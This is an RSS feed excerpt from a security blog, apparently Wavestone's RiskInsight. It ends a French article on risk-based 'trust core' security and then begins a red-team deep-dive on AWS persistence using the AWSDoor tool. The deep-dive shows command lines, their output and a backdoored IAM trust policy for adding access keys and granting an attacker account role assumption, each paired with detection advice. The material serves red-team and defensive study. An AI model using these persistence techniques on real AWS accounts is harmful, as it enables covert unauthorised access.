<p>Pour les <strong>ressources plus éloignées</strong> du centre du cœur de confiance, symbolisées par les doubles cadenas, un <strong>niveau de sécurité durci, mais proportionné</strong> peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.</p>
<p>Finalement, les <strong>méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées</strong>. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.</p>
<p> </p>
<h3>Répéter les opérations</h3>
<p>À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.</p>
<p>Pour vérifier la bonne implémentation du cœur de confiance, un <strong>audit peut être conduit pour vérifier la bonne protection des ressources</strong> critiques qui le compose.</p>
<p>Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant <em>t</em>. De <strong>nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées</strong>. Il est primordial de <strong>refaire une évaluation régulière de son SI </strong>et de mettre à jour la répartition des ressources dans le cœur de confiance.</p>
<h2> </h2>
<p>En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.</p>
<p>Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.</p>
<p>Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques <em>— les crown jewels —</em> et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.</p>
<p>Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.</p>






<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/">Sécurité orientée cloud : Adaptation à une nouvelle réalité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>AWSDoor : Persistance sur AWS</title>
		<link>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:28:20 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Attaques AWS]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWSDoor]]></category>
		<category><![CDATA[Bucket S3]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatch]]></category>
		<category><![CDATA[Défense AWS]]></category>
		<category><![CDATA[Outil cybersécurité]]></category>
		<category><![CDATA[Persistance IAM]]></category>
		<category><![CDATA[red team]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27196</guid>

					<description><![CDATA[<p>Cet article comporte de nombreux termes techniques et noms de service qui n&#8217;ont pas de traduction idéales en Français. Pour une lecture plus fluide, vous pouvez consulter l&#8217;article en anglais en cliquant sur « en » en haut de la page. Au...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/">AWSDoor : Persistance sur AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><em>Cet article comporte de nombreux termes techniques et noms de service qui n&rsquo;ont pas de traduction idéales en Français. Pour une lecture plus fluide, vous pouvez consulter l&rsquo;article en anglais en cliquant sur « en » en haut de la page.</em></p>



<p style="text-align: justify;">Au cours de la dernière décennie<strong>, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées</strong> pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.</p>
<p style="text-align: justify;">Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité <strong>introduisent de nouveaux défis liés à la sécurisation de ces environnements</strong>. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations <strong>peinent encore à mettre en œuvre des stratégies de sécurité efficaces</strong>, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent <strong>les </strong><strong>mauvaises configurations des rôles IAM, les politiques trop permissives</strong>, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.</p>
<p style="text-align: justify;">Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, <strong>l’action la plus courante après la compromission initiale</strong> et l’escalade de privilèges consiste à <strong>mettre en place des mécanismes de persistance</strong> <strong>d’accès</strong> dans l’environnement.</p>
<p style="text-align: justify;">Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et <strong>failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme</strong>, même après le début des actions correctives.</p>
<p style="text-align: justify;">Dans cet article, nous explorerons <strong>le concept de persistance d’accès dans AWS</strong>, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.</p>
<p style="text-align: justify;">Tout au long de cette article, <strong>les fonctionnalités d’un outil dédié</strong>, conçu pour simplifier et automatiser <strong>le déploiement de techniques de persistance dans les environnements AWS</strong>, seront présentées.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Persistance sur AWS</h2>
<h3 style="text-align: justify;">Persistance IAM</h3>
<p style="text-align: justify;">Dans le contexte d’AWS, l’<em>Identity and Access Management </em><strong>(IAM) constitue la pierre angulaire de la sécurité</strong>. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a <strong>pas été explicitement autorisée, vous ne pourrez pas l’exécuter</strong>.</p>
<p style="text-align: justify;">Globalement, l’IAM fonctionne en <strong>associant des identités (comme les utilisateurs ou rôles IAM)</strong> à des politiques, qui sont des documents <em>JSON</em> décrivant les privilèges d’un objet IAM sur une ressource.</p>
<p style="text-align: justify;">Ces politiques sont extrêmement granulaires et <strong>prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires.</strong> Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.</p>
<p style="text-align: justify;">L’IAM est devenu <strong>un vecteur puissant de persistance d’accès</strong> et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement <strong>modifier les politiques IAM</strong>, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.</p>
<p style="text-align: justify;">Ce qui <strong>rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité</strong>. En effet, les modifications apportées à IAM <strong>se fondent souvent dans les activités administratives légitimes</strong>, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, <strong>identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.</strong></p>
<p style="text-align: justify;">Dans cette section, nous <strong>explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser</strong> pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">AccessKey</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">La technique de <strong>persistance la plus élémentaire</strong> consiste à <strong>ajouter une AccessKey</strong> à un utilisateur.</p>
<p style="text-align: justify;">Sur <em>AWS</em>, les utilisateurs peuvent se connecter via l’interface en ligne de commande (<em>CLI</em>) en utilisant une <em>AccessKey</em>. La méthode la plus simple pour établir une persistance consiste à déployer une <em>AccessKey</em> sur un utilisateur disposant de privilèges élevés.</p>
<p style="text-align: justify;">Une fois la clé créée pour cet utilisateur, l’attaquant peut <strong>accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur</strong>.</p>
<p style="text-align: justify;">Cependant, cette technique présente certaines limitations :</p>
<ul style="text-align: justify;">
<li>Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.</li>
<li>Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).</li>
</ul>
<p style="text-align: justify;">Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :</p>
<ul style="text-align: justify;">
<li>Lister les AccessKey enregistrées sur un utilisateur</li>
<li>Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable</li>
<li>Supprimer l’AccessKey inutilisée</li>
</ul>
<p style="text-align: justify;"> </p>
<figure id="attachment_27297" aria-describedby="caption-attachment-27297" style="width: 1017px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27297" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-437x174.png" alt="Information d’une clé d’accès et de la dernière utilisation de celle-ci" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word.png 1728w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27297" class="wp-caption-text"><em>Information d’une clé d’accès et de la dernière utilisation de celle-ci</em></figcaption></figure>



<p>&nbsp;</p>
<p style="text-align: justify;">Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :</p>
<ul style="text-align: justify;">
<li><strong> iam:ListAccessKeys</strong> : permet de récupérer les détails des AccessKey</li>
<li><strong> iam:UpdateAccessKey</strong> : permet de désactiver la clé avant sa suppression</li>
<li><strong> iam:DeleteAccessKey</strong> : permet de supprimer effectivement l’AccessKey</li>
</ul>
<p style="text-align: justify;">Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.</p>
<p style="text-align: justify;">Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :</p>
<ul style="text-align: justify;">
<li> <strong>iam:CreateAccessKey</strong></li>
</ul>
<p style="text-align: justify;">Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :</p>
<ul>
<li style="text-align: justify;"> <strong>aws:CreateVirtualMfaDevice</strong></li>
<li style="text-align: justify;"> <strong>aws:EnableMfaDevice</strong></li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br><br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>La <strong>clé est ensuite ajoutée à l’utilisateur</strong> :</p>
<p>&nbsp;</p>
<figure id="attachment_27300" aria-describedby="caption-attachment-27300" style="width: 999px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27300" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-437x175.png" alt="Clé ajoutée avec AWSDoor" width="999" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-2048x819.png 2048w" sizes="auto, (max-width: 999px) 100vw, 999px" /><figcaption id="caption-attachment-27300" class="wp-caption-text"><em>Clé ajoutée avec AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Bien que l’ajout d’une <em>AccessKey</em> à un utilisateur <strong>soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS</strong>, il s’agit également de l’une des méthodes <strong>les moins discrètes</strong>.</p>
<p style="text-align: justify;">En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par <strong>l’utilisateur compromis via les journaux AWS CloudTrail</strong> :</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27303" aria-describedby="caption-attachment-27303" style="width: 951px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27303" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-264x191.png" alt="Journaux de création d’AccesKey " width="951" height="688" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word.png 1505w" sizes="auto, (max-width: 951px) 100vw, 951px" /><figcaption id="caption-attachment-27303" class="wp-caption-text"><em>Journaux de création d’AccesKey</em></figcaption></figure>
<p>&nbsp;</p>



<p style="text-align: justify;">De plus, certaines solutions de sécurité<strong>, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistan</strong>ce si les utilisateurs n’emploient généralement pas d’AccessKey.</p>
<p style="text-align: justify;">Enfin, à titre de recommandation, il est généralement préférable <strong>d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO</strong> :  <span style="color: #000080;"><a style="color: #000080;" href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</a>.</span></p>
<p style="text-align: justify;">Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile <strong>de repérer les AccessKey malveillantes et de surveiller de près celles existantes</strong> (par exemple, les utilisateurs de service CICD).</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Trust Policy</h4>
<p style="text-align: justify;">Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, <strong>les rôles ne possèdent pas d’identifiants à long terme</strong>. <strong>Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole</strong>, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.</p>
<p style="text-align: justify;">Pour contrôler qui peut assumer un rôle, <strong>AWS utilise un document spécifique appelé Trust Policy</strong> (<em>Politique de confiance</em>). Une Trust Policy spécifie les identités de <strong>principaux de confiance</strong> (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) <strong>autorisées à assumer le rôle</strong>. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Exemple de cas d’utilisation pour AssumeRole et la Trust Policy</span></h5>
<p style="text-align: justify;">Imaginez une entreprise disposant de plusieurs comptes AWS :</p>
<ul style="text-align: justify;">
<li>un pour le développement</li>
<li>un pour la préproduction (<em>staging</em>)</li>
<li>un pour la production</li>
</ul>
<p style="text-align: justify;">Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, <strong>l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion</strong>.</p>
<p> </p>
<figure id="attachment_27306" aria-describedby="caption-attachment-27306" style="width: 854px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27306" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-345x191.png" alt="Assumer un rôle au travers de la TrustPolicy" width="854" height="473" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1170x650.png 1170w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word.png 1763w" sizes="auto, (max-width: 854px) 100vw, 854px" /><figcaption id="caption-attachment-27306" class="wp-caption-text"><em>Assumer un rôle au travers de la TrustPolicy</em></figcaption></figure>
<p> </p>



<p style="text-align: justify;">Chaque compte cible <strong>définit un rôle avec des privilèges élevés</strong> (par exemple, CrossAdminAccess) et configure une TrustPolicy <strong>n’autorisant que les identités IAM du compte de gestion à l’assumer</strong>. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :</p>
<p>&nbsp;</p>
<pre>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole",<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}</pre>
<p>&nbsp;</p>
<p style="text-align: justify;">Cette approche permet de <strong>maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé</strong>. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.</p>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est <strong>gérée par la politique qui autorise explicitement un compte externe</strong> à assumer un rôle dans le compte cible.</p>
<p style="text-align: justify;">Cependant, <strong>rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance</strong>. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis&nbsp;:</p>
<p>&nbsp;</p>
<pre>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;"AWS": [<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;"arn:aws:iam::${attackerAccountId}:role/fakeRole"<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}</pre>
<p>&nbsp;</p>
<p style="text-align: justify;">Une fois cette politique appliquée, <strong>il est possible d’assumer directement le rôle compromis depuis l’extérieur</strong>.</p>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p>&nbsp;</p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br>[-] Initial trust policy:<br>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Sid": "Statement1",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": "arn:aws:iam::438465151234:root"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}<br>[+] New trust policy:<br>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Sid": "Statement1",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": [<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "arn:aws:iam::438465151234:user/ADM01",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}<br>[+] Do you want to apply this change? (yes/no): yes<br>[+] Trust policy for FAKEROLE updated<br><br> </pre>



<figure id="attachment_27308" aria-describedby="caption-attachment-27308" style="width: 886px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27308" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-437x179.png" alt="La TrustPolicy a été modifée par AWSDoor" width="886" height="363" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word.png 1774w" sizes="auto, (max-width: 886px) 100vw, 886px" /><figcaption id="caption-attachment-27308" class="wp-caption-text"><em>La TrustPolicy a été modifée par AWSDoor</em></figcaption></figure>
<p style="text-align: center;">&nbsp;</p>



<p style="text-align: justify;">L’outil permet de :</p>
<ul style="text-align: justify;">
<li><strong>Cibler une instruction spécifique avec l’argument -s</strong> : par défaut, l’outil injectera la politique de confiance dans la première instruction <strong>Allow</strong> qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.</li>
<li><strong>Créer une nouvelle instruction avec l’argument -c </strong>: avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (<strong>MALICIOUS</strong> dans l’exemple ci-dessous).</li>
</ul>
<p style="text-align: justify;"> </p>
<figure id="attachment_27310" aria-describedby="caption-attachment-27310" style="width: 996px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27310" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-286x191.png" alt="Création d’une nouvelle instruction" width="996" height="665" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word.png 1478w" sizes="auto, (max-width: 996px) 100vw, 996px" /><figcaption id="caption-attachment-27310" class="wp-caption-text"><em>Création d’une nouvelle instruction</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Ce type de persistance constitue <strong>un mécanisme de persistance puissant dans les environnements AWS</strong>. Cette technique <strong>ne nécessite pas de stocker des identifiants dans l’environnement victime</strong>, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.</p>
<p style="text-align: justify;">La détection de <strong>cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance</strong>. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.</p>
<p> </p>
<figure id="attachment_27312" aria-describedby="caption-attachment-27312" style="width: 1013px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27312" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-437x176.png" alt="Exemple d'évènement UpdateAssumeRolePolicy" width="1013" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word.png 1944w" sizes="auto, 